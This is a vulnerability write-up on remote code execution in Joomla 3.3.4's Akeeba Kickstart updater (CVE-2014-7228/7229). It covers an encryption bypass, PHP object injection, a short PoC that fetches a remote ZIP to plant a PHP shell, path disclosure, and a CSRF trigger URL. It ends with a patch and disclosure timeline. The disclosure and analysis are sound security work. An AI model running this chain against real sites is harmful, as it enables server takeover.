Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
{
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;
}

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
{
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	}
	return $value;
}

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

if(!empty($_REQUEST))
{
	foreach($_REQUEST as $key => $value)
	{
		unset($_REQUEST[$key]);
	}
}

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
if(!empty($json))
{
	$password = AKFactory::get('kickstart.security.password', null);
	if(!empty($password))
	{
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);
	}

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
	if(!empty($raw))
	{
		foreach($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}
}

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
{  
	// Get the serialized factory  
	AKFactory::unserialize($serialized); 
}

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

class AKPostprocFTP 
{
	function __wakeup()
	{
		$this->connect();
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		...
	}
}

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

masterSetup();

$retArray = array(
	'status'	=> true,
	'message'	=> null
);

$enabled = AKFactory::get('kickstart.enabled', false);

if($enabled)
{
	$task = getQueryParam('task');

	switch($task)
	{
		case 'ping':
			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
			$timer->enforce_min_exec_time();
			break;
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$engine->tick();
			...
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();
			...
			break;
	}
}

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist['kickstart.security.password'] = '';
	}
}

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/exploit.zip';
		$this->addPath = '/var/www/joomla/';
	}
}

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('kickstart.security.password', null);
if(!empty($password))
{
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
}

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
if(empty($destdir))
{
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);
}

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:

/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

Timeline

[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released

Leave a comment